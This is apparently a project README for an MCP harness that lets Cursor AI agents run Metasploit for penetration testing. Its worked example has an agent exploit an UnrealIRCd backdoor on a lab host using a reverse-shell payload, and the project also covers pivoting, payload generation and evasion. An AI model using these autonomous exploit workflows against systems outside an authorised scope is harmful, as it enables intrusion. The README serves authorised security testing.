Metasploit Cursor Harness

Agentic penetration testing harness that bridges Cursor AI agents with the Metasploit Framework via MCP (Model Context Protocol). Provides structured, scope-enforced access to Metasploit RPC through 54 purpose-built tools spanning reconnaissance, exploitation, session management, post-exploitation, pivoting, payload generation, and database operations.

Built for authorized lab and professional pentest workflows with explicit rules of engagement, server-side policy enforcement, audit logging, and PTES-aligned phase/gate methodology.

Why This Harness

Capability	This Harness	Official msfmcpd	GH05TCREW/MetasploitMCP
Tool count	54	~23	~15
Server-side ROE (CIDR, module, session)	Yes	No	No
Cursor hooks (scope gates, risk scoring, evidence)	18 scripts	No	No
PTES workflow phases/gates	7 phases, 57 skills	No	No
Console-first exploit execution	Yes	No	Yes
asyncio.to_thread (non-blocking)	Yes	Yes	No
Domain authorization	Yes (fail-closed)	No	No
Auto LHOST detection	Yes (cross-platform)	No	No
Check-before-exploit gate	Enforced	No	No
Audit logging + world state	Yes	No	No
Self-contained pentest skills	57 skills across 5 tiers	No	No

Features

• 54 MCP tools covering recon, exploitation, sessions, Meterpreter ops, pivoting, payloads, handlers, workspaces, console, database writes, and lab helpers
• Console-first exploits with synchronous output capture, session detection, and failure parsing
• Server-side ROE enforcement: CIDR scope, domain authorization, CIDR width caps, session limits, DoS blocking, check-before-exploit gate
• 18 Cursor hook scripts: scope validation, risk scoring (0-100), duplicate detection, evidence logging, world state tracking, credential redaction
• 57 self-contained agent skills: PTES workflow, domain-specific playbooks (web, AD, cloud, containers, mobile, binary, evasion, service-level, vuln-class)
• 5 specialized subagents: orchestrator, recon, exploit, post-exploitation, reviewer

Platform Support

Platform	Status	Notes
Windows + WSL2 + Kali	Primary	Full hook pipeline, lab Docker support
Native Linux / Kali	Supported	Requires pwsh for hooks; native msfrpcd
macOS + remote MSF	Experimental	MCP server works; hooks need pwsh; point MSF_HOST at remote RPC

Prerequisites

• Python 3.10+
• Metasploit Framework (in WSL/Kali or native Linux)
• Cursor IDE with MCP support
• PowerShell Core (pwsh) for hook pipeline
• Authorized targets defined in scope/scope-master.txt

Quick Start

1. Clone and install

git clone https://github.com/Suzu-Testing/metasploit-cursor-harness.git
cd metasploit-cursor-harness
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -e ".[mcp]"

2. Configure credentials

cp .env.example .env
# Edit .env: set MSF_PASSWORD (must match what you pass to msfrpcd)

3. Start Metasploit RPC

Windows (WSL):

.\scripts\start-msfrpcd.ps1

Linux / Kali (native):

./scripts/start-msfrpcd.sh

4. Enable MCP in Cursor

cp .cursor/mcp.json.example .cursor/mcp.json
# Edit mcp.json: set "cwd" to your absolute project path

Toggle msf-harness on in Cursor Settings > MCP.

5. Verify setup

python scripts/doctor.py       # Check all prerequisites
python scripts/validate-mcp.py  # Test RPC connectivity

Then in Cursor chat, run msf_status to confirm the MCP connection.

6. Lab targets (optional)

See docs/LAB.md for the built-in Metasploitable2 Docker lab.

For HackTheBox, TryHackMe, OSCP, or your own targets, see docs/BYO-TARGETS.md.

For detailed setup instructions, see docs/SETUP.md.

Or run the one-command bootstrap:

.\scripts\bootstrap.ps1

Your First Exploit

Once setup is complete and msf_status works in Cursor chat, try this end-to-end demo against the Docker lab:

1. Start the lab targets:

.\scripts\start-lab-targets.ps1

2. In Cursor chat, ask the agent to exploit the lab:

Scan the lab target at 10.255.255.254 port 9667 and exploit the UnrealIRCd backdoor using engagement lab-default

The agent will:

1. Run msf_module_check to verify the target is vulnerable (required by ROE)
2. Call msf_get_lab_network to auto-detect LHOST
3. Run msf_run_exploit with exploit/unix/irc/unreal_ircd_3281_backdoor
4. Call msf_list_active_sessions to confirm the shell
5. Use msf_send_session_command to run commands on the target

Or do it step-by-step with individual MCP tool calls:

msf_status                              # Verify RPC connection
msf_get_lab_network                     # Get LHOST and port map
msf_module_check(...)                   # Probe for vulnerability
msf_run_exploit(...)                    # Pop a shell
msf_send_session_command(command="id")  # Run commands on target

See docs/LAB.md for the full port map and exploit-specific notes.

Architecture

Cursor Agent
  |-- Rules (.cursor/rules/: ROE, MCP routing, workflow orchestration)
  |-- Skills (.cursor/skills/: 57 pentest playbooks)
  |-- Hooks (.cursor/hooks/: 18 safety scripts, scope gates + evidence logging)
  |-- Subagents (.cursor/agents/: orchestrator, recon, exploit, post, reviewer)
  |
  v
msf-harness MCP Server (Python, FastMCP, stdio transport)
  |-- Read tools (23: search, info, hosts, services, vulns, creds, loot, etc.)
  |-- Action tools (31: exploit, aux, post, sessions, handlers, payloads, etc.)
  |-- Policy/ROE (server-side CIDR, domain, module, session validation)
  |-- Console engine (synchronous module execution with output capture)
  |
  v
msfrpcd (WSL/Kali or native Linux, MessagePack RPC, 127.0.0.1:55553)
  |
  v
msfdb (PostgreSQL)

MCP Tools (54 total)

Read-Only (no engagement_id required)

Tool	Purpose
msf_status	Check RPC connectivity, version, session count
msf_search_modules	Search modules by keyword, CVE, or name
msf_module_info	Module options, targets, references, rank
msf_module_options	Get configurable options for a module
msf_running_stats	Get statistics on currently running modules
msf_list_modules	List modules by type with optional filter
msf_host_info	Query discovered hosts from msfdb
msf_service_info	Query discovered services (ports, protocols)
msf_vulnerability_info	Query vulnerability records
msf_note_info	Query annotations/notes
msf_credential_info	Query harvested credentials
msf_loot_info	Query collected loot/files
msf_list_active_sessions	List current sessions with type and target
msf_session_info	Get detailed info for a single session
msf_list_listeners	List active handlers/background jobs
msf_job_info	Get details for a specific job
msf_list_payloads	Search available payloads by name/platform/arch
msf_compatible_payloads	List payloads compatible with a given module
msf_list_workspaces	List database workspaces
msf_db_status	Check database connectivity and driver info
msf_console_list	List active RPC console instances
msf_get_lab_network	Get lab target config (Docker ports, LHOST)
msf_route_list	List active routes for session pivoting

Action (require engagement_id)

Tool	Purpose
msf_module_check	Safe vulnerability probe (non-exploitative)
msf_module_results	Query results of an async module job by UUID
msf_run_exploit	Execute exploit module (console or RPC job mode, configurable timeout)
msf_run_auxiliary_module	Run auxiliary module (scanner, fuzzer; optional console mode)
msf_run_post_module	Run post-exploitation module on a session (optional console mode)
msf_send_session_command	Execute command in active shell/meterpreter
msf_terminate_session	Kill a session
msf_wait_for_session	Poll for new sessions after exploit/handler
msf_session_upgrade	Upgrade shell to Meterpreter
msf_session_sysinfo	Get OS/arch/hostname from Meterpreter session
msf_session_getuid	Get current user identity from Meterpreter session
msf_session_ps	List running processes in Meterpreter session
msf_session_download	Download file from target to evidence/
msf_session_upload	Upload file from evidence/ to target (sandboxed)
msf_session_run_script	Run Meterpreter script in session
msf_start_listener	Start multi/handler listener
msf_stop_job	Stop a background job
msf_cleanup_jobs	Stop all background jobs to free ports
msf_generate_payload	Generate payload file (saved to evidence/)
msf_create_workspace	Create database workspace
msf_set_workspace	Switch active workspace
msf_delete_workspace	Delete a database workspace
msf_db_import	Import scan data (nmap XML, Nessus, etc.)
msf_db_nmap	Run nmap and auto-import results
msf_console_execute	Run arbitrary msfconsole command via RPC
msf_route_add	Add route through session for pivoting
msf_route_delete	Remove a route
msf_autoroute	Auto-add routes via post/multi/manage/autoroute
msf_report_host	Manually report host to database
msf_credential_add	Store discovered credential in database
msf_db_add_note	Add note/annotation to database

Example Workflow

# 1. Verify connection
msf_status()

# 2. Scan target ports
msf_run_auxiliary_module(
  engagement_id="lab-default",
  module_name="auxiliary/scanner/portscan/tcp",
  options={"RHOSTS": "10.255.255.254", "PORTS": "9021,9667,9080"}
)

# 3. Check what's open
msf_service_info(host="10.255.255.254")

# 4. Check before exploit (required by ROE)
msf_module_check(
  engagement_id="lab-default",
  module_type="exploit",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667}
)

# 5. Exploit with auto-detected LHOST
lab = msf_get_lab_network()
msf_run_exploit(
  engagement_id="lab-default",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667},
  payload="generic/shell_reverse_tcp",
  payload_options={"LHOST": lab["data"]["lhost"], "LPORT": 4449},
  run_check_first=True
)

Safety Model

1. Server-side ROE (msf_harness/mcp/policy/roe.py): validates targets against engagement CIDRs, blocks forbidden modules, enforces session limits, caps CIDR scan width, requires check-before-exploit, validates domains (fail-closed)
2. Cursor hooks (.cursor/hooks/): scope gates on every shell command and MCP call, risk scoring (0-100 with CRITICAL escalation), duplicate detection, audit logging to logs/command-ledger.jsonl, evidence auto-save, credential redaction
3. Console command parsing: msf_console_execute extracts and validates RHOSTS, module paths, and db_nmap targets from raw commands
4. File path restrictions: msf_db_import and msf_generate_payload restricted to evidence/ and engagements/ directories
5. DoS modules (auxiliary/dos/*) blocked unconditionally
6. Input sanitization: nmap args allowlisted, option keys validated, console values quote-escaped

Use only on systems you are authorized to test.

Troubleshooting

Symptom	Fix
msf_status says "Cannot connect to msfrpcd"	Run .\scripts\start-msfrpcd.ps1; verify msfrpcd is listening with wsl -e bash -lc "ss -tlnp | grep 55553"
MCP server not appearing in Cursor	Ensure .cursor/mcp.json uses absolute paths for cwd and PYTHONPATH; restart Cursor
"MSF_PASSWORD is not set"	Set it in .env (copy from .env.example if needed)
"Target not in scope" or ROE denial	Add the target IP/CIDR to scope/scope-master.txt AND engagements/<id>/roe.yaml authorized_cidrs
Module check fails with "not supported"	Some modules lack a check method; this is normal. Proceed with caution.
No session after exploit	Verify LHOST is correct (msf_get_lab_network); check firewall; try a different payload
Hook errors in Cursor output	Verify pwsh (PowerShell 7+) is installed: winget install Microsoft.PowerShell
Python import errors	Run pip install -e ".[mcp]" from the project root

Run python scripts/doctor.py for a full prerequisite health check.

Development

pip install -e ".[mcp,dev]"
python -m pytest tests/ -v                                    # 269 Python tests
pwsh -ExecutionPolicy Bypass -File scripts/test-hooks.ps1     # 120 hook tests
python scripts/validate-mcp.py                                # RPC connectivity

See CONTRIBUTING.md for development setup and PR guidelines.

Directory Structure

Path	Purpose
msf_harness/mcp/	Python MCP server package
msf_harness/mcp/tools/	MCP tool implementations (12 modules, 54 tools)
msf_harness/mcp/rpc/	Metasploit RPC client with auto-reconnect
msf_harness/mcp/policy/	ROE enforcement (CIDR, domain, module, session, exploit-gate)
scope/	Authorized target CIDRs and domains
engagements/	Per-engagement ROE configs and workflow state
evidence/msf/	Captured evidence (gitignored)
logs/	Hook audit logs and command ledger (gitignored)
.cursor/hooks/	PowerShell Core safety gates (18 scripts)
.cursor/skills/	Agent workflow playbooks (57 skills)
.cursor/agents/	Custom subagent definitions (5 agents)
.cursor/rules/	Always-on agent guidance (3 rules + AGENTS.md)
scripts/	Utility scripts (start RPC, create engagement, health check, validate MCP)
tests/	Pytest + hook test suites
docs/	Setup guide, lab guide, BYO targets guide

License

MIT

Acknowledgments

• Rapid7 Metasploit Framework and official msfmcpd
• GH05TCREW/MetasploitMCP for console execution patterns
• pymetasploit3